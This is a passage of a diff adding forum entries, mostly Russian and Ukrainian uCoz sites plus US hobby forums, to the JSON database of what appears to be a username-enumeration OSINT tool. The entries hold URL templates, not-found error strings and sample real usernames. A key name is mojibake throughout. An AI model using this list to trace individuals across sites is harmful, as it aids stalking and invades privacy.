"bad_site": "" + }, + "Forum_novoe-chelovech": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://novoe-chelovech.ucoz.ru/index/8-0-{}", + "urlMain": "http://novoe-chelovech.ucoz.ru", + "usernameON": "Asteroidbum", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_novokrasnyanka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://novokrasnyanka.ucoz.ua/index/8-0-{}", + "urlMain": "https://novokrasnyanka.ucoz.ua", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_novsevkuchino": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://novsevkuchino.my1.ru/index/8-0-{}", + "urlMain": "https://novsevkuchino.my1.ru", + "usernameON": "Zews", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_npest": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://npest.moy.su/index/8-0-{}", + "urlMain": "https://npest.moy.su", + "usernameON": "Juku", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nsk-cb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Insufficient Storage", + "errorTyp��": "message", + "url": "http://forum.nsk-cb.ru/memberlist.php?username={}", + "urlMain": "http://forum.nsk-cb.ru", + "usernameON": "abjectradical82", + "bad_site": "" + }, + "Forum_nsk_clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nsk.clan.su/index/8-0-{}", + "urlMain": "https://nsk.clan.su", + "usernameON": "Elnor", + "bad_site": "" + }, + "Forum_nsu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://forum.nsu.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.nsu.ru", + "usernameON": "Znaika", + "bad_site": 1 + }, + "Forum_ntc_party": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ntc.party/u/{}", + "urlMain": "https://ntc.party", + "usernameON": "tango", + "bad_site": "" + }, + "Forum_nudostar": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nudostar.com/forum/members/?username={}", + "urlMain": "https://nudostar.com", + "usernameON": "ahmedhananii", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nulled_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.nulled.to/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_content=both&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term=&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=title&search_app_filters[members][members][sortDir]=", + "urlMain": "https://www.nulled.to", + "usernameON": "crybaby20240", + "bad_site": 1 + }, + "Forum_numis": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.numisforums.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.numisforums.com", + "usernameON": "rasiel", + "bad_site": "" + }, + "Forum_nunchaku": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorTyp��": "message", + "url": "https://forum.nvworld.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.nvworld.ru", + "usernameON": "epddsns", + "bad_site": "" + }, + "Forum_nyangler": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nyangler.com/members/?username={}", + "urlMain": "https://nyangler.com", + "usernameON": "leprechaun", + "comments": "zamedlenie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nybass": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nybass.com/members/?username={}", + "urlMain": "https://www.nybass.com", + "usernameON": "jaysen", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nyccnc": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Oops", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://nyccnc.com/forums/users/{}/", + "urlMain": "https://nyccnc.com/", + "usernameON": "ltborg", + "bad_site": "" + }, + "Forum_nycfire": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nycfire.net/forums/members/?username={}", + "urlMain": "https://www.nycfire.net", + "usernameON": "signal73", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_obama_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obama.ucoz.ru/index/8-0-{}", + "urlMain": "https://obama.ucoz.ru", + "usernameON": "uKc", + "bad_site": "" + }, + "Forum_obkon": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obkon.ucoz.com/index/8-0-{}", + "urlMain": "https://obkon.ucoz.com", + "usernameON": "ninokids", + "bad_site": "" + }, + "Forum_obninskchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Page not found", + "errorMsg2": "404", + "errorTyp��": "message", + "url": "https://chessiki.ru/forums/profile/{}", + "urlMain": "https://chessiki.ru/", + "usernameON": "lvdraphael", + "bad_site": "" + }, + "Forum_obovcem": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obovcem.ucoz.ru/index/8-0-{}", + "urlMain": "https://obovcem.ucoz.ru/", + "usernameON": "Obovcem", + "bad_site": "" + }, + "Forum_obovsem_piter": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obzhorkinsajt.ucoz.ru/index/8-0-{}", + "urlMain": "https://obzhorkinsajt.ucoz.ru", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_octothorp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.octothorp.team/user/{}", + "urlMain": "https://forum.octothorp.team", + "usernameON": "porkove", + "bad_site": "" + }, + "Forum_odessacrewing": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://odessacrewing.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://odessacrewing.kamrbb.ru", + "usernameON": "csplus", + "bad_site": "" + }, + "Forum_odinhram": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odinhram.3dn.ru/index/8-0-{}", + "urlMain": "https://odinhram.3dn.ru", + "usernameON": "elenas", + "bad_site": "" + }, + "Forum_odinochestvo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odinochestvo.moy.su/index/8-0-{}", + "urlMain": "https://odinochestvo.moy.su", + "usernameON": "Marion", + "bad_site": "" + }, + "Forum_odnokursniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odnokursniki.clan.su/index/8-0-{}", + "urlMain": "https://odnokursniki.clan.su", + "usernameON": "vsetransport", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_odonvv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odonvv.ru/index/8-0-{}", + "urlMain": "https://odonvv.ru", + "usernameON": "Vodoley", + "bad_site": "" + }, + "Forum_officiating": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorMsg2": "Sorry", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://offthepost.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://offthepost.org", + "usernameON": "Bosc", + "bad_site": "" + }, + "Forum_ofo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ofo.ucoz.ru/index/8-0-{}", + "urlMain": "https://ofo.ucoz.ru", + "usernameON": "sudba", + "bad_site": "" + }, + "Forum_ogxbox": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.ogxbox.com/forums/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.ogxbox.com", + "usernameON": "dtomcat", + "bad_site": "" + }, + "Forum_ohiogamefishing": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiogamefishing.com/members/?username={}", + "urlMain": "https://www.ohiogamefishing.com", + "usernameON": "deadeyedeek", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohiosportsman": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiosportsman.com/members/?username={}", + "urlMain": "https://www.ohiosportsman.com", + "usernameON": "pbudi59", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohiowaterfowler": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiowaterfowlerforum.com/members/?username={}", + "urlMain": "https://www.ohiowaterfowlerforum.com", + "usernameON": "jimmy81", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohota-ribalka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ohota-ribalka.at.ua/index/8-0-{}", + "urlMain": "https://ohota-ribalka.at.ua", + "usernameON": "gratch79", + "bad_site": "" + }, + "Forum_ohrana-truda": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "0 результатов", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.ohrana-truda.by/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.ohrana-truda.by", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_oih_med": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "403 Forbidden", + "errorMsg2": "Пользователь не найден", + "errorTyp��": "message", + "url": "https://oih.at.ua/index/8-0-{}", + "urlMain": "https://oih.at.ua", + "usernameON": "fiorella", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_oil-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Just a moment", + "errorMsg2": "Found 0 results", + "errorMsg3": "Найдено 0", + "errorTyp��": "message", + "url": "https://www.oil-club.ru/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.oil-club.ru", + "usernameON": "tattoedarm", + "comments": "cf", + "bad_site": 1 + }, + "Forum_oilburners": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.oilburners.net/members/?username={}", + "urlMain": "https://www.oilburners.net", + "usernameON": "kansasidi", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oklahomahunter": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.oklahomahunter.net/members/?username={}", + "urlMain": "https://www.oklahomahunter.net", + "usernameON": "drc458", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_okna-7": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://okna-7.my1.ru/index/8-0-{}", + "urlMain": "https://okna-7.my1.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_old_ap": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://old.ap-pro.ru/index/8-0-{}", + "urlMain": "http://old.ap-pro.ru/", + "usernameON": "dkfllelfhtd", + "bad_site": "" + }, + "Forum_old_sukhoi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "robots\" content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://old.sukhoi.ru/forum/member.php?username={}", + "urlMain": "http://old.sukhoi.ru", + "usernameON": "GreyWind", + "bad_site": "" + }, + "Forum_oldbel-kovalevo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oldbel-kovalevo.ucoz.ru/index/8-0-{}", + "urlMain": "https://oldbel-kovalevo.ucoz.ru", + "usernameON": "skorodihin", + "bad_site": "" + }, + "Forum_oldclassiccar": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry,", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.oldclassiccar.co.uk/forum/phpbb/phpBB2/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.oldclassiccar.co.uk", + "usernameON": "davids", + "bad_site": "" + }, + "Forum_oldmeloman": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://oldmeloman.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://oldmeloman.kamrbb.ru", + "usernameON": "gustava", + "bad_site": "" + }, + "Forum_oldones": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.oldones.org/index/8-0-{}", + "urlMain": "http://www.oldones.org", + "usernameON": "rpavel693", + "comments": "bad", + "bad_site": 1 + }, + "forum_oldpokemon": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользователей", + "errorTyp��": "message", + "url": "https://forum.oldpokemon.ru/memberlist.php?sk=c&sd=a&username={}", + "urlMain": "https://forum.oldpokemon.ru", + "usernameON": "BisQuit", + "bad_site": 1 + }, + "Forum_olujaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://olujaz.ucoz.ru/index/8-0-{}", + "urlMain": "https://olujaz.ucoz.ru", + "usernameON": "ccbeclexanthirt", + "bad_site": "" + }, + "Forum_oluss": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oluss.at.ua/index/8-0-{}", + "urlMain": "https://oluss.at.ua", + "usernameON": "oluss", + "bad_site": "" + }, + "Forum_omaddiet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://omaddiet.com/community/members/?username={}", + "urlMain": "https://omaddiet.com", + "usernameON": "sumeria9", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_omega": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://omegaforums.net/members/?username={}", + "urlMain": "https://omegaforums.net", + "usernameON": "fsg", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oms": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oms.ucoz.com/index/8-0-{}", + "urlMain": "https://oms.ucoz.com", + "usernameON": "pysarievai", + "bad_site": "" + }, + "Forum_omskmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "ОмскМама", + "errorTyp��": "message", + "url": "https://forum.omskmama.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.omskmama.ru", + "usernameON": "vo24uk", + "bad_site": "" + }, + "Forum_onbankir": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://onbankir.moy.su/index/8-0-{}", + "urlMain": "https://onbankir.moy.su", + "usernameON": "burenokscody", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_oneclickchicks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "One Click Chicks Forum", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.oneclickchicks.com/member.php?username={}", + "urlMain": "https://forum.oneclickchicks.com", + "usernameON": "osreb", + "bad_site": "" + }, + "Forum_onefinitycnc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.onefinitycnc.com/u/{}/summary", + "urlMain": "https://forum.onefinitycnc.com/", + "usernameON": "tahoe1840", + "bad_site": "" + }, + "Forum_online-dendy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://online-dendy.ru/index/8-0-{}", + "urlMain": "http://online-dendy.ru", + "usernameON": "fumssHesy", + "bad_site": "" + }, + "Forum_online-knigi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://forum.online-knigi.com/members/?username={}", + "urlMain": "https://forum.online-knigi.com", + "usernameON": "brazilla", + "bad_site": 1, + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_online-money": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://online-money.3dn.ru/index/8-0-{}", + "urlMain": "https://online-money.3dn.ru", + "usernameON": "JafidNub", + "bad_site": "" + }, + "Forum_onlline-game_pp": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://onlline-game.pp.net.ua/index/8-0-{}", + "urlMain": "http://onlline-game.pp.net.ua", + "usernameON": "KREDO", + "bad_site": "" + }, + "Forum_onlyfans": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Not Found", + "errorMsg3": "Verification", + "errorTyp��": "message", + "url": "https://onlyfansforum.com/author/{}/", + "urlMain": "https://onlyfansforum.com", + "usernameON": "fapello", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_onlyrus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onlyrus.ucoz.net/index/8-0-{}", + "urlMain": "https://onlyrus.ucoz.net", + "usernameON": "gromovmail", + "bad_site": "" + }, + "Forum_onlytech": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://onlytech.com/community/members/?username={}", + "urlMain": "https://onlytech.com", + "usernameON": "davidjohn91", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_onru": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onru.my1.ru/index/8-0-{}", + "urlMain": "https://onru.my1.ru", + "usernameON": "Heavy", + "bad_site": "" + }, + "Forum_onz-shot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onz-shot.3dn.ru/index/8-0-{}", + "urlMain": "https://onz-shot.3dn.ru", + "usernameON": "WezhewBlesy", + "bad_site": "" + }, + "Forum_oopkmoskva": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oopkmoskva.ucoz.ru/index/8-0-{}", + "urlMain": "https://oopkmoskva.ucoz.ru", + "usernameON": "standartserves", + "bad_site": "" + }, + "Forum_open-chess": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://www.open-chess.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.open-chess.org", + "usernameON": "karakaniec", + "bad_site": "" + }, + "Forum_open_vanillaforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://open.vanillaforums.com/profile/{}", + "urlMain": "https://open.vanillaforums.com", + "usernameON": "haryono", + "bad_site": "" + }, + "Forum_openai": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://community.openai.com/u/{}", + "urlMain": "https://community.openai.com", + "usernameON": "haktan", + "bad_site": "" + }, + "Forum_openframeworks": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://forum.openframeworks.cc/u/{}/summary", + "urlMain": "https://forum.openframeworks.cc", + "usernameON": "red", + "bad_site": "" + }, + "Forum_opennebula": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.inductiveautomation.com/u/{}/summary", + "urlMain": "https://forum.opennebula.io", + "usernameON": "vani161998", + "bad_site": "" + }, + "Forum_openoffice": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://forum.openoffice.org/en/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.openoffice.org", + "usernameON": "Diane9576", + "bad_site": "" + }, + "Forum_openstreetmap": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.openstreetmap.fr/u/{}/summary", + "urlMain": "https://forum.openstreetmap.fr", + "usernameON": "gendy54", + "bad_site": "" + }, + "Forum_opensuse": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.opensuse.org/u/{}/summary", + "urlMain": "https://forums.opensuse.org", + "usernameON": "someuser7852", + "bad_site": "" + }, + "Forum_openwrt": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "data-preloaded=\"{"search":"{\\"posts\\":[],\\"users\\":[]", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.openwrt.org/search?q={}&search_type=users", + "urlMain": "https://forum.openwrt.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_optima": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.optimaforums.com/members/?username={}", + "urlMain": "https://www.optimaforums.com", + "usernameON": "aiden15", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_optina": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.optina.ru/search/?q={}&type=core_members", + "urlMain": "https://forum.optina.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_oranj": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oranj.3dn.ru/index/8-0-{}", + "urlMain": "https://oranj.3dn.ru", + "usernameON": "kraudsmart803", + "bad_site": "" + }, + "Forum_orbiter": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.orbiter-forum.com/members/?username={}", + "urlMain": "https://www.orbiter-forum.com/", + "usernameON": "dgatsoulis", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_orbito": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://orbito.ucoz.ru/index/8-0-{}", + "urlMain": "https://orbito.ucoz.ru", + "usernameON": "keynbr", + "bad_site": "" + }, + "Forum_orchideus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://orchideus.ucoz.net/index/8-0-{}", + "urlMain": "http://orchideus.ucoz.net", + "usernameON": "Falcon", + "bad_site": "" + }, + "Forum_ord": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ord.at.ua/index/8-0-{}", + "urlMain": "https://ord.at.ua", + "usernameON": "thompson1986", + "bad_site": "" + }, + "Forum_orelhunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 обнаружено совпадений всего на сайте", + "errorMsg2": "0 Ïîëüçîâàòåëè íàéäåíî", + "errorMsg3": "Аккаунт заблокирован", + "errorTyp��": "message", + "url": "https://www.orelhunter.ru/search.php?stext={}", + "urlMain": "https://www.orelhunter.ru", + "usernameON": "zevocixy", + "bad_site": "" + }, + "Forum_org-invalid": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://org-invalid-sov.ucoz.ru/index/8-0-{}", + "urlMain": "https://org-invalid-sov.ucoz.ru", + "usernameON": "Riminy", + "bad_site": "" + }, + "Forum_originalpw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorTyp��": "message", + "url": "https://forum.originalpw.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.originalpw.com", + "usernameON": "FIESTA", + "bad_site": "" + }, + "Forum_orth": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://orth.ucoz.ru/index/8-0-{}", + "urlMain": "https://orth.ucoz.ru", + "usernameON": "svv", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_orthodox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": 